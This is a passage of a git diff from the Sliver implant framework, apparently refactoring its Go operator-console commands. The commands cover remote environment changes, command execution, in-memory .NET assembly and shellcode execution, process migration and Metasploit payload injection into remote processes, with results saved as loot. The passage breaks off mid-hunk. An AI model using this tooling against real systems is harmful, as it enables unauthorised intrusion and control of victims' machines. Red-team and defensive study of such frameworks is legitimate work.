|
||||
}
|
||||
}
|
||||
|
||||
// PrintGetEnvInfo - Print the results of the env get command
|
||||
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
for _, envVar := range envInfo.Variables {
|
||||
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package environment
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvSetCmd - Set a remote environment variable
|
||||
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
value := ctx.Args.String("value")
|
||||
if name == "" || value == "" {
|
||||
con.PrintErrorf("Usage: setenv KEY VALUE\n")
|
||||
return
|
||||
}
|
||||
|
||||
envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
|
||||
Variable: &commonpb.EnvVar{
|
||||
Key: name,
|
||||
Value: value,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintSetEnvInfo - Print the set environment info
|
||||
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Set %s to %s\n", name, value)
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package environment
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvUnsetCmd - Unset a remote environment variable
|
||||
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Usage: setenv NAME\n")
|
||||
return
|
||||
}
|
||||
|
||||
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if unsetResp.Response != nil && unsetResp.Response.Async {
|
||||
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, unsetResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(unsetResp.Response)
|
||||
} else {
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintUnsetEnvInfo - Print the set environment info
|
||||
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully unset %s\n", name)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Exec
|
||||
====
|
||||
|
||||
Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
|
||||
@@ -0,0 +1,139 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
assemblyPath := ctx.Args.String("filepath")
|
||||
isDLL := false
|
||||
if filepath.Ext(assemblyPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
if isDLL {
|
||||
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
|
||||
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: strings.Join(assemblyArgs, " "),
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
hostname := getHostname(session, beacon)
|
||||
if execAssembly.Response != nil && execAssembly.Response.Async {
|
||||
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execAssembly)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteAssembly - Print the results of an assembly execution
|
||||
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
|
||||
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAssembly.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
|
||||
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory
|
||||
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
return
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if pid != 0 && interactive {
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
|
||||
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, shellcodeTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(shellcodeTask.Response)
|
||||
} else {
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteShellcode - Display result of shellcode execution
|
||||
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
if task.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", task.Response.GetErr())
|
||||
} else {
|
||||
con.PrintInfof("Executed shellcode on target\n")
|
||||
}
|
||||
}
|
||||
|
||||
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
// Start remote process and tunnel
|
||||
noPty := false
|
||||
if session.GetOS() == "windows" {
|
||||
noPty = true // Windows of course doesn't have PTYs
|
||||
}
|
||||
|
||||
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
|
||||
SessionID: session.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Retrieve PID and start remote task
|
||||
pid := shell.GetPid()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Data: shellcode,
|
||||
RWXPages: rwxPages,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *terminal.State
|
||||
if !noPty {
|
||||
oldState, err = terminal.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("Starting stdin/stdout shell ...")
|
||||
go func() {
|
||||
n, err := io.Copy(os.Stdout, tunnel)
|
||||
log.Printf("Wrote %d bytes to stdout", n)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error writing to stdout: %v", err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
for {
|
||||
log.Printf("Reading from stdin ...")
|
||||
n, err := io.Copy(tunnel, os.Stdin)
|
||||
log.Printf("Read %d bytes from stdin", n)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading from stdin: %v", err)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
terminal.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
bufio.NewWriter(os.Stdout).Flush()
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteCmd - Run a command on the remote system
|
||||
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
token := ctx.Flags.Bool("token")
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if exec.Response != nil && exec.Response.Async {
|
||||
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, exec)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecute(exec, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = string(exec.Stdout)
|
||||
con.PrintInfof("Output:\n%s", combined)
|
||||
} else {
|
||||
con.PrintInfof("Stdout saved at %s\n", stdout)
|
||||
}
|
||||
|
||||
if stderr == "" {
|
||||
if !ignoreStderr && 0 < len(exec.Stderr) {
|
||||
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
|
||||
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
}
|
||||
if saveLoot && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
config := con.GetActiveSessionConfig()
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
if !migrate.Success {
|
||||
con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully migrated to %d\n", pid)
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package command
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -22,57 +22,18 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func msf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
|
||||
if lhost == "" {
|
||||
fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
go spin.Until(msg, ctrl)
|
||||
_, err := rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
Encoder: encoder,
|
||||
Iterations: int32(iterations),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info + "Executed payload on target\n")
|
||||
}
|
||||
}
|
||||
|
||||
func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
session := ActiveSession.GetInteractive()
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -85,21 +46,21 @@ func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
pid := ctx.Flags.Int("pid")
|
||||
|
||||
if lhost == "" {
|
||||
fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
if pid == -1 {
|
||||
fmt.Printf(Warn+"Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
go spin.Until(msg, ctrl)
|
||||
_, err := rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
@@ -110,8 +71,25 @@ func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
